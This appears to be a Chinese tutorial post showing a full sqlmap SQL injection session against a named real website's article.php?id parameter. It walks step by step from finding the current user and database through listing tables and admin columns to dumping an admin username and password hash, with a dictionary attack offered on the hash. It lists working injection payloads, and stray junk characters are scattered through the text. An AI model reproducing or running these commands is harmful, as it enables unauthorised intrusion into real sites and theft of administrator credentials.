sqlmap实例注入mysql

admin

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
: a2 L5 `* u; O" Vms "Mysql" --current-user       /*  注解：获取当前用户名称
% f* V- C7 t- k$ G    sqlmap/0.9 - automatic SQL injection and database takeover tool
3 T( Y- Z# W+ f2 l+ h( @    http://sqlmap.sourceforge.net

starting at: 16:53:54
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
session file
; p! }% @8 L" a: ]+ H[16:53:54] [INFO] resuming injection data from session file
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[16:53:54] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
+ n# S  y7 H2 ?7 b+ S# Qsts:
9 p! R, m- R% g  o3 z; n8 P5 g* J---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
    Type: error-based
: K+ q; S$ r3 w, s    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
' H( C4 S2 w* O/ c/ f! G/ d120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
5 o" L4 s7 h' r' _. r8 t9 f    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
! \" N8 z8 G& n4 e8 g, @    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
+ {1 F; A& l0 f' r; M  V(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
/ f- w* ^3 M3 {$ b4 L( r: @" JCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
1 J' l5 a$ l3 W4 z4 b$ v    Title: MySQL > 5.0.11 AND time-based blind
3 P& ~+ ~9 G" I8 r; g, P; s% {    Payload: id=276 AND SLEEP(5)
---
5 m2 u2 J0 h, s- O' _1 O* E# b[16:53:55] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
, S; P* B4 f: S* l- T1 C- i; {& d[16:53:55] [INFO] fetching current user
current user:    'root@localhost'   
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
" r' T$ s- B$ O6 _3 B8 F- Y* ^( |2 xtput\www.wepost.com.hk'

shutting down at: 16:53:58

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
# r" B* t3 W/ k5 h: j+ l+ P7 X/ lms "Mysql" --current-db                  /*当前数据库
    sqlmap/0.9 - automatic SQL injection and database takeover tool
% J7 ?! Y$ l" W) M: L    http://sqlmap.sourceforge.net

starting at: 16:54:16
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
2 w% m$ b7 D8 z3 | session file
# a6 }& v/ m# Y3 p8 G, v! k[16:54:16] [INFO] resuming injection data from session file
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
+ r* l5 ?" t5 P7 x0 T  c: u" F[16:54:16] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
& E9 d& H8 B  k0 C4 @sts:
---
! P4 ~% i7 `! a1 kPlace: GET
) i, q8 K- \9 v, @/ nParameter: id
    Type: boolean-based blind
. m! X- B/ k1 X* O    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
    Type: error-based
! a, k" ^7 s; p4 A0 F) h    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
$ V5 h7 A( _8 |8 T+ Q8 j120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
  G4 a  K  P4 N2 X# R  O" y* N),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
' X2 X0 l/ _; |4 F  D    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
- Y: `) e/ F2 ]' |0 L+ A, g(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
2 T9 T" `+ w1 y! j9 |$ z2 |- V    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
: [- q' r' L1 ?5 D    Payload: id=276 AND SLEEP(5)
---
[16:54:17] [INFO] the back-end DBMS is MySQL
* N0 |  n) J5 ?" ]* G, cweb server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
: i, y- J; F0 ^- |% n: _# d[16:54:17] [INFO] fetching current database
current database:    'wepost'
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\www.wepost.com.hk'

shutting down at: 16:54:18
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:55:25
, A& R0 J  C+ o) @0 S: j5 P# @) S[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
session file
% M$ f- j% T$ }[16:55:25] [INFO] resuming injection data from session file
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
1 v# r7 x2 H& b& J" x# A/ ?[16:55:25] [INFO] testing connection to the target url
* s' f1 |& @. a& Y% x+ S) P% r. Ysqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
& E3 B8 \5 P. ~1 l# a# k---
Place: GET
Parameter: id
    Type: boolean-based blind
& {' Y  F/ T* F9 `! `% @    Title: AND boolean-based blind - WHERE or HAVING clause
, h+ F1 W; x1 U7 L    Payload: id=276 AND 799=799
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
+ }% ?, k* x$ |- e0 O2 q, O    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
  W! U. P+ l# U120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
5 Y& f" U6 C6 A, c; _7 s+ A% d: @    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
% y. J' K( |  x( q) L9 sCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
9 E8 b) m$ p; x4 |    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
[16:55:26] [INFO] the back-end DBMS is MySQL
  S0 i7 X) Y: ]6 iweb server operating system: Windows
, {; g' A5 ~; y" R& ]! g! E/ B( Xweb application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
[16:55:26] [INFO] fetching tables for database 'wepost'
[16:55:27] [INFO] the SQL query used returns 6 entries
Database: wepost
[6 tables]
+-------------+
; Q' Q: _: w* j$ G; s5 }| admin       |
$ v" t1 z% R) j7 F| article     |
( k# @1 i( T6 \- U. n0 n0 S| contributor |
2 `2 {: q) O; W& G/ v2 a/ Q8 K5 a* s| idea        |
| image       |
| issue       |
! ?6 u7 O: L8 A3 Q- S+-------------+
: t: \2 z2 T# Z$ [0 A9 a[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\www.wepost.com.hk'

shutting down at: 16:55:33
. Q* p" t  m4 j7 S1 s" ~0 h$ k, v
7 E( i* V1 a2 _2 {- {+ K4 @9 }. jD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
, t2 X& B& b' R& }ms "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名
# t9 U8 O+ _7 T  Z* X! s/ `    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:56:06
- ?2 O% m$ e! Z; Dsqlmap identified the following injection points with a total of 0 HTTP(s) reque
# i9 `) Y5 F' H& wsts:
" L3 A9 Q+ k' u( M7 k' g---
Place: GET
Parameter: id
    Type: boolean-based blind
% V; M6 R, A! N% @$ M% y    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
    Type: error-based
4 v' @# n+ `$ Q  R5 }, e( `5 |# v    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
$ E8 {$ u9 L( O) ^- f4 l    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
; D  M: F) J4 s1 r7 _- f3 z120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
$ S$ K# H, e' O" t),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
( ?3 V1 U' S9 \5 ~% \3 g    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
/ _. ?/ x% r9 i8 q6 e9 x1 U! l    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
! A7 k8 c: u* g, I---
' t& d- n2 R" |- P. zweb server operating system: Windows
% f) s1 u  `! f! p% y  n) {web application technology: Apache 2.2.11, PHP 5.3.0
% ?, y9 P, O1 `, ]back-end DBMS: MySQL 5.0
[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
0 l) N" e  X* h$ ]6 p& assion': wepost, wepost
% V: s  w3 O( v3 a' nDatabase: wepost
Table: admin
[4 columns]
( t5 g) k$ b4 k. j6 F" G2 }+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
7 s2 V! J8 Z+ P8 I' ]| password | varchar(32) |
5 s5 f  @; @: l4 ]& F. i0 ]# y| type     | varchar(10) |
; S' x# H$ c) t" ^8 v; w| userid   | varchar(20) |
6 y. K; w8 c! Y" `3 O+----------+-------------+

shutting down at: 16:56:19
4 h' ^! N9 S, `% o8 [" z8 s
" h8 l. F0 B. a3 h- D# U. _# @; [D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
( u+ u2 }% o, b( R/ Z" xms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容
2 x+ @& r/ {, s( |: K8 h; l0 p! K    sqlmap/0.9 - automatic SQL injection and database takeover tool
  {& E+ F% d, i- d    http://sqlmap.sourceforge.net

starting at: 16:57:14
9 s0 p" w4 Y; D& w8 Isqlmap identified the following injection points with a total of 0 HTTP(s) reque
/ e5 y8 s  Z- h$ \) v5 Nsts:
' x& G" [% a7 A---
Place: GET
Parameter: id
    Type: boolean-based blind
+ \+ F. W' K, w# ~    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
    Type: error-based
: o. ?7 t. p4 I    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
  ?( L6 V3 ]5 h+ x: g    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
* {" |4 j: a/ @. S  S' w: B; R: v  i120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
0 S6 E9 E0 K9 K8 W    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
( g7 w7 {5 n" q8 R& K& C) a# PCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
: N) g  e. ]7 e& @    Title: MySQL > 5.0.11 AND time-based blind
  n; E2 K! k4 ~! r+ o    Payload: id=276 AND SLEEP(5)
" d3 b) D  y' M- O. ]* [3 b1 a---
web server operating system: Windows
) u2 t8 i9 m4 @web application technology: Apache 2.2.11, PHP 5.3.0
" r0 H+ j+ I7 X0 \6 qback-end DBMS: MySQL 5.0
0 L5 C6 R7 q( U4 m- Grecognized possible password hash values. do you want to use dictionary attack o
; i7 G1 _- U2 m5 `- E* qn retrieved table items? [Y/n/q] y
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
, A3 ~' |$ T  B* Ydo you want to use common password suffixes? (slow!) [y/N] y
Database: wepost
Table: admin
2 a& J% Y( W2 U* m2 p0 r( m6 u. p[1 entry]
9 K. U3 f- Z& J+----------------------------------+------------+
| password                         | userid     |
1 i" {: i; d: N) T+----------------------------------+------------+
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
* A- W. I: M$ m' L7 z9 Q) n+----------------------------------+------------+
. l4 r) A/ K1 H* h2 e) C

shutting down at: 16:58:14

D:\Python27\sqlmap>